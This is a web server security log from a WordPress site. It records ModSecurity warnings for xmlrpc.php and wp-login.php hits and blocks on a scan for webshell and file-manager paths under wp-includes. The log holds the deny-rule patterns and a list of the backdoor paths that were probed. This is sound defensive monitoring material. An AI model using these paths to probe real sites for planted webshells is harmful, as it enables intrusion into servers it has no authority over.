[Wed Apr 15 04:02:23.550270 2026] [:error] [pid 4066:tid 4108] [client 45.87.221.196:39318] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.221.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6dT4C2YXfSPsC9O_BGBQAAAEQ"]
[Wed Apr 15 04:03:35.309497 2026] [:error] [pid 4169:tid 4175] [client 212.47.74.48:48812] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6dlx15U5D-N99n_jI-_AAAAMM"]
[Wed Apr 15 04:07:25.208404 2026] [:error] [pid 4169:tid 4187] [client 207.154.197.201:51706] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6efR15U5D-N99n_jJBvQAAAM4"]
[Wed Apr 15 04:15:05.508667 2026] [:error] [pid 4169:tid 4181] [client 167.172.153.2:36810] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6gSR15U5D-N99n_jJGMwAAAMk"]
[Wed Apr 15 04:17:37.684543 2026] [:error] [pid 4169:tid 4188] [client 141.94.27.49:56160] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6g4R15U5D-N99n_jJIOgAAAM8"]
[Wed Apr 15 04:21:17.926838 2026] [:error] [pid 4066:tid 4113] [client 137.184.64.22:43834] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6hvYC2YXfSPsC9O_BL_AAAAEk"]
[Wed Apr 15 04:26:05.348254 2026] [:error] [pid 4065:tid 4079] [client 217.216.48.92:50724] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6i3QWArgJTHu2_6OyxcwAAAAM"]
[Wed Apr 15 04:27:11.449288 2026] [:error] [pid 4169:tid 4189] [client 66.70.178.228:46276] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6jHx15U5D-N99n_jJRSgAAANA"]
[Wed Apr 15 04:28:29.315461 2026] [:error] [pid 4169:tid 4187] [client 34.165.13.211:43302] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6jbR15U5D-N99n_jJSPgAAAM4"]
[Wed Apr 15 04:37:32.709768 2026] [:error] [pid 4067:tid 4140] [client 207.154.197.201:42696] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6ljO5XHBJU8ZrRxZ0bVQAAAIk"]
[Wed Apr 15 04:37:56.051283 2026] [:error] [pid 4066:tid 4124] [client 159.65.127.101:33650] [client 159.65.127.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.127.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6lpIC2YXfSPsC9O_BSwQAAAFQ"]
[Wed Apr 15 04:38:43.477909 2026] [:error] [pid 4169:tid 4179] [client 128.199.223.38:42618] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6l0x15U5D-N99n_jJZaAAAAMc"]
[Wed Apr 15 04:43:51.990924 2026] [:error] [pid 4066:tid 4125] [client 161.97.159.93:58663] [client 161.97.159.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.97.159.93, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad6nB4C2YXfSPsC9O_BU6AAAAFU"]
[Wed Apr 15 04:44:52.547410 2026] [:error] [pid 45504:tid 45518] [client 82.154.116.112:52954] [client 82.154.116.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.154.116.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6nRK3iO9_fE_IQEMkF_gAAAQw"]
[Wed Apr 15 04:47:18.308473 2026] [:error] [pid 45504:tid 45524] [client 157.66.27.54:54318] [client 157.66.27.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6n1q3iO9_fE_IQEMkHqQAAARI"]
[Wed Apr 15 04:50:35.716146 2026] [:error] [pid 4065:tid 4099] [client 85.128.143.145:36448] [client 85.128.143.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6omwWArgJTHu2_6Oy4GgAAABc"]
[Wed Apr 15 04:56:14.601779 2026] [:error] [pid 4067:tid 4145] [client 45.131.195.134:62657] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "ad6p7u5XHBJU8ZrRxZ0j1wAAAI4"]
[Wed Apr 15 04:56:19.298528 2026] [:error] [pid 4066:tid 4121] [client 45.131.195.126:35045] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "ad6p84C2YXfSPsC9O_BYGQAAAFE"]
[Wed Apr 15 04:56:27.338619 2026] [:error] [pid 4066:tid 4124] [client 45.131.195.161:53195] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "ad6p-4C2YXfSPsC9O_BYLgAAAFQ"]
[Wed Apr 15 04:56:33.181827 2026] [:error] [pid 4065:tid 4077] [client 45.131.195.116:21245] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "ad6qAQWArgJTHu2_6Oy5KQAAAAE"]
[Wed Apr 15 04:56:41.091201 2026] [:error] [pid 4067:tid 4136] [client 45.131.195.154:63491] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "ad6qCe5XHBJU8ZrRxZ0j8wAAAIU"]
[Wed Apr 15 04:56:43.463690 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.154:55081] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ad6qCx15U5D-N99n_jJkSAAAANA"]
[Wed Apr 15 04:56:44.655852 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.155:41123] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "ad6qDK3iO9_fE_IQEMkOHwAAAQk"]
[Wed Apr 15 04:56:45.519333 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.176:35265] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "ad6qDa3iO9_fE_IQEMkOIgAAAQU"]
[Wed Apr 15 04:56:46.410356 2026] [:error] [pid 4066:tid 4112] [client 45.131.195.130:38761] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "ad6qDoC2YXfSPsC9O_BYWwAAAEg"]
[Wed Apr 15 04:56:47.499380 2026] [:error] [pid 4169:tid 4174] [client 45.131.195.189:31409] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "ad6qDx15U5D-N99n_jJkTAAAAMI"]
[Wed Apr 15 04:56:49.482492 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.176:51685] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "ad6qEYC2YXfSPsC9O_BYZAAAAEk"]
[Wed Apr 15 04:56:52.883352 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.165:35673] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "ad6qFB15U5D-N99n_jJkVwAAAMc"]
[Wed Apr 15 04:56:56.602525 2026] [:error] [pid 4066:tid 4106] [client 45.131.195.250:58371] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ad6qGIC2YXfSPsC9O_BYewAAAEI"]
[Wed Apr 15 04:56:58.561447 2026] [:error] [pid 45504:tid 45520] [client 45.131.195.119:24011] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "ad6qGq3iO9_fE_IQEMkORgAAAQ4"]
[Wed Apr 15 04:57:01.275179 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.186:55295] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "ad6qHR15U5D-N99n_jJkYQAAAME"]
[Wed Apr 15 04:57:08.627278 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.155:23541] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "ad6qJB15U5D-N99n_jJkegAAAMM"]
[Wed Apr 15 04:57:11.049388 2026] [:error] [pid 4065:tid 4081] [client 45.131.195.115:62267] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "ad6qJwWArgJTHu2_6Oy5OAAAAAU"]
[Wed Apr 15 04:57:14.645689 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.149:62693] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/defaults.php"] [unique_id "ad6qKq3iO9_fE_IQEMkOZQAAARc"]
[Wed Apr 15 04:57:17.028221 2026] [:error] [pid 4066:tid 4121] [client 45.131.195.136:64359] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "ad6qLYC2YXfSPsC9O_BYnwAAAFE"]
[Wed Apr 15 04:57:22.846017 2026] [:error] [pid 45504:tid 45508] [client 45.131.195.180:48277] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "ad6qMq3iO9_fE_IQEMkOdgAAAQI"]
[Wed Apr 15 04:57:25.368206 2026] [:error] [pid 4169:tid 4191] [client 45.131.195.126:54493] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "ad6qNR15U5D-N99n_jJklAAAANE"]
[Wed Apr 15 04:57:27.891035 2026] [:error] [pid 4169:tid 4174] [client 45.131.195.125:65273] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/index.php"] [unique_id "ad6qNx15U5D-N99n_jJkoQAAAMI"]
[Wed Apr 15 04:57:28.877398 2026] [:error] [pid 4067:tid 4132] [client 45.131.195.139:22461] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "ad6qOO5XHBJU8ZrRxZ0kKwAAAIE"]
[Wed Apr 15 04:57:29.948549 2026] [:error] [pid 45504:tid 45517] [client 45.131.195.169:26855] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "ad6qOa3iO9_fE_IQEMkOgQAAAQs"]
[Wed Apr 15 04:57:34.692119 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.161:59185] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/info.php"] [unique_id "ad6qPh15U5D-N99n_jJksQAAAME"]
[Wed Apr 15 04:57:35.731411 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.134:21973] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class.api.php"] [unique_id "ad6qP63iO9_fE_IQEMkOkgAAAQQ"]
[Wed Apr 15 04:57:36.510914 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.190:61627] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "ad6qQK3iO9_fE_IQEMkOmQAAAQM"]
[Wed Apr 15 04:57:48.786829 2026] [:error] [pid 4169:tid 4183] [client 45.131.195.135:54983] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "ad6qTB15U5D-N99n_jJkxwAAAMs"]
[Wed Apr 15 04:57:55.580957 2026] [:error] [pid 4067:tid 4140] [client 45.131.195.175:25411] [client 45.131.195.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.175, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-login.php"] [unique_id "ad6qU-5XHBJU8ZrRxZ0kVAAAAIk"]
[Wed Apr 15 04:58:12.700338 2026] [:error] [pid 4067:tid 4149] [client 45.131.195.175:25411] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "ad6qZO5XHBJU8ZrRxZ0khAAAAJI"]
[Wed Apr 15 04:58:16.720570 2026] [:error] [pid 45504:tid 45513] [client 45.131.195.145:30355] [client 45.131.195.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.145, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/wp-login.php"] [unique_id "ad6qaK3iO9_fE_IQEMkOvQAAAQc"]
[Wed Apr 15 04:58:18.880047 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.145:30355] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/item.php"] [unique_id "ad6qaq3iO9_fE_IQEMkOyAAAARg"]
[Wed Apr 15 04:58:30.460326 2026] [:error] [pid 4067:tid 4140] [client 45.131.195.126:64487] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/husky301.php"] [unique_id "ad6qdu5XHBJU8ZrRxZ0kngAAAIk"]
[Wed Apr 15 04:58:40.523307 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.119:54755] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "ad6qgK3iO9_fE_IQEMkO-gAAAQA"]
[Wed Apr 15 04:58:44.574387 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.145:54209] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "ad6qhK3iO9_fE_IQEMkPCAAAAQA"]
[Wed Apr 15 04:58:51.279083 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.185:62189] [client 45.131.195.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "ad6qix15U5D-N99n_jJlPwAAAMw"]
